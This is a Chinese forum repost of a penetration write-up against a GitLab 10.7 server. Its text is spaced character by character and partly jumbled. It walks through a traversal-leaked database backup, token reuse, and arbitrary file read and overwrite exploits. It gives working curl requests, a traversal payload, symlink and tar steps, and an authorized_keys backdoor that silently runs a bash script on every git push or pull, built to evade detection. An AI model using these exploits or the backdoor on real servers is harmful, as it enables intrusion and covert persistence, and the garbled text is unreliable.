搜索

[28350] 2020-06-13_记一次测试gitlab

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-19
2020-06-13_记一次测试gitlab 记 一 次 测 试 g i t l a b s i n e n s i s   O t s 安 全   2 0 2 0 - 0 6 - 1 3 端 口 扫 描 端 口 扫 描 n m a p 过 了 一 遍 ， 开 了 三 个 端 口 : 8 0 的 g i t l a b 2 2 的 S S H 8 0 0 0 的 目 录 遍 历 从 8 0 0 0 端 口 的 目 录 遍 历 获 取 到 g i t l a b 数 据 库 的 一 个 备 份 文 件 ， 很 不 幸 的 是 这 个 备 份 文 件 是 3 年 前 的 备 份   : ) 突 破 点 突 破 点 翻 备 份 文 件 获 取 到 的 信 息 有 如 下 ： 1 .   登 陆 用 户 名 2 .   登 陆 密 码 的 h a s h 值 3 .   一 堆 提 交 的 l o g 到 这 个 时 候 是 两 个 思 路 : 1 .   把 g i t l a b 的 密 码 生 成 方 式 拿 出 来 ， 然 后 弱 密 码 跑 一 遍 2 .   再 看 看 其 他 的 如 果 要 达 成 第 一 条 ， 需 要 过 一 下 g i t l a b 的 密 码 生 成 流 程 ， r u b y 不 会 ， 作 为 最 后 的 方 式 再 说 。 a u t h e n t i c a t i o n _ t o k e n 在 翻 了 N 个 g i t l a b 的 漏 洞 分 析 之 后 ， 在 h t t p s : / / p a p e r . s e e b u g . o r g / 1 0 4 / 文 章 里 面 找 到 a u t h e n t i c a t i o n _ t o k e n 可 以 访 问 接 口 ， 尝 试 使 用 数 据 库 里 面 的 t o k e n 测 试 成 功 。 G e t s h e l l 先 确 定 g i t l a b 的 版 本 号 ： 1 0 . 7 . X 根 据 版 本 号 在 g i t l a b 官 方 的 i s s u e 里 面 翻 到 两 处 漏 洞 。 任 意 文 件 读 取 :   h t t p s : / / g i t l a b . c o m / g i t l a b - o r g / g i t l a b - f o s s / i s s u e s / 5 4 8 5 7 任 意 文 件 写 入 :   h t t p s : / / g i t l a b . c o m / g i t l a b - o r g / g i t l a b - f o s s / i s s u e s / 4 9 1 3 3 如 果 单 是 G e t S h e l l 的 话 ， 用 文 件 写 入 把 s s h 的 公 钥 写 到 对 应 的 目 录 ， 然 后 s s h 登 陆 就 可 以 了 。
但 是 这 样 子 就 会 造 成 两 个 问 题 ： 1 .   对 方 用 户 使 用 g i t 更 新 代 码 的 时 候 就 G G 。 2 .   异 地 登 陆 S S H 服 务 器 会 报 警 。 所 以 这 个 作 为 备 用 方 案 尝 试 。 g i t l a b 的 提 交 更 新 的 时 候 ， 是 先 s s h 认 证 ， 然 后 再 执 行 g i t l a b 命 令 , 公 钥 的 位 置 一 般 是 固 定 的 : ， 这 个 可 以 从 g i t l a b 的 公 钥 可 以 很 明 显 的 看 出 来 ： 所 以 可 以 利 用 任 意 文 件 写 入 漏 洞 ， 把 这 个 公 钥 全 部 改 一 遍 ， 流 程 是 这 样 的 ： 1 .   任 意 文 件 读 取 获 取 公 钥 的 全 部 内 容 2 .   把 后 门 加 上 去 ， 任 意 文 件 写 入 覆 盖 公 钥 ， 但 是 必 须 保 证 不 能 影 响 正 常 功 能 ， 这 样 用 户 提 交 代 码 之 后 就 会 触 发 后 门 。 公 钥 类 似 这 样 子 ： 这 里 的 g i t l a b . s h 是 用 户 p u s h 或 者 p u l l 会 触 发 执 行 ， 必 须 g i t l a b . s h 脚 本 执 行 没 有 输 出 ， 不 能 阻 塞 。 1 .   输 出 会 影 响 正 常 使 用 功 能 2 .   反 弹 会 阻 塞 正 常 功 能 使 用 再 回 头 说 一 下 这 两 个 漏 洞 ， 测 试 之 前 可 以 用 d o c k e r 本 地 测 一 下 ， d o c k e r 文 件 如 下 ： / v a r / o p t / g i t l a b / . s s h / a u t h o r i z e d _ k e y s c o m m a n d = " / o p t / g i t l a b / e m b e d d e d / s e r v i c e / g i t l a b - s h e l l / b i n / g i t l a b - s h e l l   k e y - 1 3 3 " , n o - p o r t - f o r w a r d i n g , n o - X 1 1 - f o r w a r d i n g , n o - a g e n t - f o r w a r d i n g , n o - p t y   s s h - r s a   . . . c o m m a n d = " / o p t / g i t l a b / e m b e d d e d / s e r v i c e / g i t l a b - s h e l l / b i n / g i t l a b - s h e l l   k e y - 1 3 3   ; b a s h   / v a r / t m p / g i t l a b . s h   > / d e v / n u l l   2 > & 1 " , n o - p o r t - f o r w a r d i n g , n o - X 1 1 - f o r w a r d i n g , n o - a g e n t - f o r w a r d i n g , n o - p t y   s s h - r s a   . . .
d o c k e r 设 置 密 码 设 置 密 码 d o c k e r 启 动 之 后 ， 设 置 用 户 的 密 码 ： D i r e c t o r y   t r a v e r s a l   w i t h   G i t i g n o r e T e m p l a t e   A P I 检 测 这 个 漏 洞 很 简 单 ， P O C : 然 后 我 们 拿 T o k e n 来 测 试 一 下 任 意 文 件 读 取 : 先 建 好 数 据 包 ， 然 后 打 包 w e b :     i m a g e :   ' g i t l a b / g i t l a b - c e : 1 0 . 7 . 3 - c e . 0 '     r e s t a r t :   a l w a y s     h o s t n a m e :   ' 1 2 7 . 0 . 0 . 1 '     e n v i r o n m e n t :         G I T L A B _ O M N I B U S _ C O N F I G :   |             e x t e r n a l _ u r l   ' h t t p : / / g i t l a b . e x a m p l e . c o m '             r e d i s [ ' b i n d ' ] = ' 1 2 7 . 0 . 0 . 1 '             r e d i s [ ' p o r t ' ] = 6 3 7 9             g i t l a b _ r a i l s [ ' i n i t i a l _ r o o t _ p a s s w o r d ' ] = F i l e . r e a d ( ' / s t e g 0 _ i n i t i a l _ r o o t _ p a s s w o r d ' )             u n i c o r n [ ' s o c k e t ' ] = ' / o p t / g i t l a b / v a r / u n i c o r n / g i t l a b . s o c k e t '     p o r t s :         -   ' 8 0 : 8 0 '         -   ' 5 0 4 4 3 : 4 4 3 '         -   ' 2 2 : 2 2 '     v o l u m e s :         -   ' . / s r v / g i t l a b / c o n f i g : / e t c / g i t l a b '         -   ' . / s r v / g i t l a b / l o g s : / v a r / l o g / g i t l a b '         -   ' . / s r v / g i t l a b / d a t a : / v a r / o p t / g i t l a b '         -   ' . / s t e g 0 _ i n i t i a l _ r o o t _ p a s s w o r d : / s t e g 0 _ i n i t i a l _ r o o t _ p a s s w o r d ' g i t l a b - c t l   r e c o n f i g u r e g i t l a b - c t l   r e s t a r t 重 置 密 码 : r o o t   用 户 登 录 服 务 器 , 一 定 要 是   r o o t g i t l a b - r a i l s   c o n s o l e   p r o d u c t i o n u s e r   =   U s e r . w h e r e ( i d :   2 ) . f i r s t u s e r . p a s s w o r d   =   ' 1 2 3 4 5 6 a a ' u s e r . p a s s w o r d _ c o n f i r m a t i o n   =   ' 1 2 3 4 5 6 a a ' u s e r . s a v e l     查 看 数 据 库 d t     查 看 表 d i     看 索 引 c   < d b >   连 接 某 个 d b 1 2 7 . 0 . 0 . 1 : 5 0 8 0 / a p i / v 4 / t e m p l a t e s / g i t i g n o r e s / % 2 e % 2 e % 2 f P y t h o n % 2 e a
为 了 避 免 被 发 现 ， 可 以 使 用 a p i 接 口 来 操 作 : 注 意 事 项 : 1 .   如 果 使 用   会 失 败 2 .   u p l o a d s 目 录 权 限 5 5 5 ， 防 止 g i t l a b 删 除 符 号 链 接 3 .   p r o j e c t . j s o n 为 空 也 是 某 的 问 题 。 4 .   对 于 没 有 权 限 的 文 件 ， 比 如 读 取 / r o o t / . b a s h _ h i s t o r y 会 出 现 5 0 0 的 m e s s a g e 信 息 5 .   可 以 读 取 多 个 ， 但 是 需 要 保 证 每 个 需 要 读 取 的 文 件 有 权 限 。 6 .   上 传 压 缩 包 之 后 可 以 删 除 项 目 文 件 ， 软 连 接 依 旧 存 在 7 .   不 存 在 的 文 件 会 显 示 4 0 4 ， 二 进 制 文 件 会 显 示 5 0 0 的 m e s s a g e 任 意 文 件 覆 盖 漏 洞 任 意 文 件 覆 盖 漏 洞 影 响 版 本 ： > =   8 . 9 . 0 修 复 版 本 ： 1 1 . 0 . 4 ,   1 0 . 8 . 6 ,   a n d   1 0 . 7 . 7 t a r   z c f   v u l n . t a r . g z   * 新 建 项 目 : c u r l   - - r e q u e s t   P O S T   - - h e a d e r   " P R I V A T E - T O K E N :   o i j a x 6 z W p k d Z 9 V Z i 4 1 9 R "   - - f o r m   " p a t h = p r o j e c t "   - - f o r m   " f i l e = @ . / v u l n . t a r . g z "   h t t p : / / 1 2 7 . 0 . 0 . 1 : 5 0 8 0 / a p i / v 3 / p r o j e c t s / i m p o r t 导 入 项 目 ( 爆 绝 对 路 径 ) : c u r l     - - h e a d e r   " P R I V A T E - T O K E N :   o i j a x 6 z W p k d Z 9 V Z i 4 1 9 R "     h t t p : / / 1 2 7 . 0 . 0 . 1 : 5 0 8 0 / a p i / v 4 / p r o j e c t s / 7 0 / i m p o r t 删 除 项 目 : c u r l   - - r e q u e s t   D E L E T E     - - h e a d e r   " P R I V A T E - T O K E N :   o i j a x 6 z W p k d Z 9 V Z i 4 1 9 R "   h t t p : / / 1 2 7 . 0 . 0 . 1 : 5 0 8 0 / a p i / v 4 / p r o j e c t s / 7 0 任 意 文 件 读 取 P A Y L O A D = $ ( e c h o   " . . / . . / . . / p u b l i c / u p l o a d s / . . / s h a r e d / t m p / p r o j e c t _ e x p o r t s / t e s t 1 / 3 3 3 3 3 / 0 8 3 c 7 4 d d d 7 6 b c 4 a 1 f 7 e f 7 6 3 5 e f d d c e b d / u p l o a d s / h o s t " |   s e d   ' s | . | % 2 e | g '   |   s e d   ' s | / | % 2 f | g ' ) c u r l     h t t p : / / 1 2 7 . 0 . 0 . 1 / a p i / v 3 / t e m p l a t e s / g i t i g n o r e s / $ P A Y L O A D % 2 e a   - v | j q t a r   z c f   v u l n . t a r . g z   . / *
h t t p s : / / x z . a l i y u n . c o m / t / 2 6 6 1 h t t p s : / / g i t l a b . c o m / g i t l a b - o r g / g i t l a b - f o s s / i s s u e s / 4 9 1 3 3 h t t p s : / / g i t l a b . c o m / g i t l a b - o r g / g i t l a b - f o s s / i s s u e s / 4 1 7 5 7 建 立 一 个 文 件 名 里 面 有 换 行 符 的 软 连 接 : 创 建 完 了 之 后 上 传 ， 成 功 导 入 项 目 之 后 ， 此 时 在 g i t l a b 里 面 会 保 存 这 个 软 连 接 。 然 后 构 造 第 二 个 压 缩 包 : 创 建 一 个 包 含 换 行 符 的 目 录 ， 然 后 在 改 目 录 下 创 建 要 写 入 的 文 件 夹 以 及 文 件 步 骤 : 1 .   创 建 完 第 一 个 文 件 夹 之 后 ， 软 连 接 到 根 目 录 2 .   然 后 使 用 第 二 个 压 缩 包 把 要 写 入 的 文 件 写 到 对 应 的 目 录 里 面 即 可 ， 详 细 的 内 容 可 以 看 c h y b e t a 师 傅 的 的 复 现 步 骤 :   h t t p s : / / x z . a l i y u n . c o m / t / 2 6 6 1 E N D : g i t l a b 备 份 文 件 ， 使 用 以 下 命 令 s u d o   g i t l a b - r a k e   g i t l a b : b a c k u p : c r e a t e i m p o r t   o s o s . s y m l i n k ( " / v a r / o p t / g i t l a b " ,   " . n e v i l " ) R e m o v e   P r o j e c t i m p o r t   o s o s . m a k e d i r s ( " . n e v i l " )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理